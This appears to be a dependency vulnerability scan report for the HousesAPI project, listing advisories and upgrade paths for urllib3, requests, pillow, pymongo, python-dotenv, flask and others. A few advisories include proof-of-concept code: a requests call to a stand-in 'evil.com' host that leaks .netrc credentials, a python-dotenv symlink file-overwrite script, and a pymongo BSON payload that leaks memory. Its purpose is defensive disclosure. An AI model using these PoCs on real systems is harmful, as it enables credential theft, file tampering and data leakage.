  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 urllib3@2.0.7
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: elastic-apm@6.2.2, elasticsearch@7.13.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 urllib3@2.0.7
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 urllib3@2.0.7
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0 urllib3@2.0.7
    Remediation: Upgrade to selenium@3.141.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 urllib3@2.0.7
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 urllib3@2.0.7

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Incorrect Behavior Order

  • Vulnerable module: dnspython
  • Introduced through: email-validator@1.1.3

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI email-validator@1.1.3 dnspython@2.3.0
    Remediation: Upgrade to email-validator@2.1.0.

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order in the DNS pre-processing pipeline, which allows an off-path attacker who can spoof the source IP address of a malformed DNS response packet to cause denial of service. The UDP processing functions in query.py and asyncquery.py accept the first-arriving packet before closing the receiving socket, allowing the attacker to make the remote nameserver appear unavailable for the target resolver and clients.

Remediation

Upgrade dnspython to version 2.6.1 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@10.3.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). The JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder. If the EOF marker is not detected as such, this can lead to an infinite loop where JpegImagePlugin keeps trying to end the file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a missing GIF decompression bomb check.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 9.2.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a missing GIF decompression bomb check.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 9.2.0 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Improper Input Validation. When the path to the temporary directory on Linux or macOS contained a space, this would break removal of the temporary image file after im.show() (and related actions), and potentially remove an unrelated file.

Remediation

Upgrade Pillow to version 9.0.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0 and requests-html@0.10.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@8.3.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Buffer Overflow. It allowed parameters passed into a convert function to trigger buffer overflow in Convert.c.

Remediation

Upgrade Pillow to version 8.3.0 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0 and requests-html@0.10.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

Improper Initialization

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Improper Initialization of ImagePath.Path in path_getbbox at path.c.

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

medium severity

Symlink Attack

  • Vulnerable module: python-dotenv
  • Introduced through: python-dotenv@0.13.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI python-dotenv@0.13.0
    Remediation: Upgrade to python-dotenv@1.2.2.

Overview

Affected versions of this package are vulnerable to Symlink Attack via the set_key and unset_key() functions. An attacker can overwrite arbitrary files by creating a crafted symbolic link that is followed during a cross-device rename fallback.

PoC

import os
import sys
import tempfile
from dotenv import set_key

# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"

with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
    # File an attacker wants to overwrite
    target = os.path.join(workdir, "victim_config.txt")
    with open(target, "w") as f:
        f.write("DB_PASSWORD=supersecret\n")

    # Attacker pre-places a symlink at the path the application will use as .env
    env_symlink = os.path.join(workdir, ".env")
    os.symlink(target, env_symlink)

    before = open(target).read()

    # Application writes a new key -- triggers the cross-device fallback
    set_key(env_symlink, "INJECTED", "attacker_value")

    after = open(target).read()

    print("Before:", repr(before))
    print("After: ", repr(after))
    print("Symlink target overwritten:", target)

Remediation

Upgrade python-dotenv to version 1.2.2 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: idna
  • Introduced through: email-validator@1.1.3, requests@2.23.0 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI email-validator@1.1.3 idna@3.10
    Remediation: Upgrade to email-validator@2.1.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 idna@3.10
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 idna@3.10

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@12.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound. An attacker can cause unexpected behavior by supplying a font where each glyph advances by an excessively large amount.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: pymongo
  • Introduced through: pymongo@3.11.4, mongoengine@0.23.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pymongo@3.11.4
    Remediation: Upgrade to pymongo@4.6.3.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI mongoengine@0.23.1 pymongo@3.11.4
    Remediation: Upgrade to mongoengine@0.28.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 mongoengine@0.23.1 pymongo@3.11.4

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.

PoC


import bson
import struct

def function(length: int) -> bytes:
    secret = b'X' * length

# variable 'secret' is deleted here but it's still stored in memory

def generate_payload(length: int) -> bytes:
    string_size = length - 0x1e

    return bytes.fromhex(
        struct.pack('<I', length).hex() + # payload size
        '0f' + # type "code with scope"
        '3100' + # key (cstring)
        '0a000000' + # c_w_s_size
        '04000000' + # code_size
        '41004200' + # code (cstring)
        'feffffff' + # scope_size
        '02' + # type "string"
        '3200' + # key (cstring)
        struct.pack('<I', string_size).hex() + # string size
        '00' * string_size # value (cstring)
# next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception
    )

def deserialize_payload(payload: bytes) -> None:
    try:
        obj = bson.decode(payload) # throws exception
        print(obj) # unreachable code
    except Exception as e:
        print(e)


print('case 1: leak the printable string')

# uses secret internally
function(0x50 + 0x0F)

# payload could be read from stdin or similar
payload = generate_payload(0x50)
deserialize_payload(payload)



print('\n case 2: leak some non-printable bytes')

for i in range(5):
    # payload could be read from stdin or similar
    payload = generate_payload(0x54f + i)
    deserialize_payload(payload)

Remediation

Upgrade pymongo to version 4.6.3 or higher.

References

medium severity

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0 and requests-html@0.10.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0
    Remediation: Upgrade to requests@2.33.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: certifi@2021.5.30, elastic-apm@6.2.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 certifi@2021.5.30

MPL-2.0 license

medium severity

LGPL-2.1 license

  • Module: chardet
  • Introduced through: chardet@3.0.4, requests@2.23.0 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI chardet@3.0.4
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 chardet@3.0.4
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 chardet@3.0.4

LGPL-2.1 license

low severity

Buffer Overflow

  • Vulnerable module: numpy
  • Introduced through: pandas@1.2.4

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pandas@1.2.4 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.

Remediation

Upgrade numpy to version 1.22.0 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: numpy
  • Introduced through: pandas@1.2.4

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pandas@1.2.4 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade numpy to version 1.22.0rc1 or higher.

References

low severity

NULL Pointer Dereference

  • Vulnerable module: numpy
  • Introduced through: pandas@1.2.4

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pandas@1.2.4 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.

Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.

Remediation

Upgrade numpy to version 1.22.2 or higher.

References

low severity

Access Restriction Bypass

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@2.2.3.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Access Restriction Bypass that allows a malicious application on an adjacent subdomain to present "nameless" cookies that look like =value instead of key=value and have them accepted by the affected browser. For example, a cookie like =__Host-test=bad would be parsed as __Host-test=bad and the key treated as valid while the value is ignored.

Remediation

Upgrade werkzeug to version 2.2.3 or higher.

References

low severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: flask
  • Introduced through: flask@2.0.1, flask-migrate@2.5.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1
    Remediation: Upgrade to flask@3.1.3.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the session object. An attacker can cause sensitive user-specific responses to be cached and served to other users by leveraging a caching proxy that does not ignore responses with cookies, when the application does not set a Cache-Control header and accesses the session only for keys without mutating or accessing values.

Note:

This is only exploitable if the application is hosted behind a caching proxy that does not ignore responses with cookies, does not set a Cache-Control header to indicate that a page is private or should not be cached, and accesses the session in a way that does not access the values, only the keys, and does not mutate the session.

Remediation

Upgrade flask to version 3.1.3 or higher.

References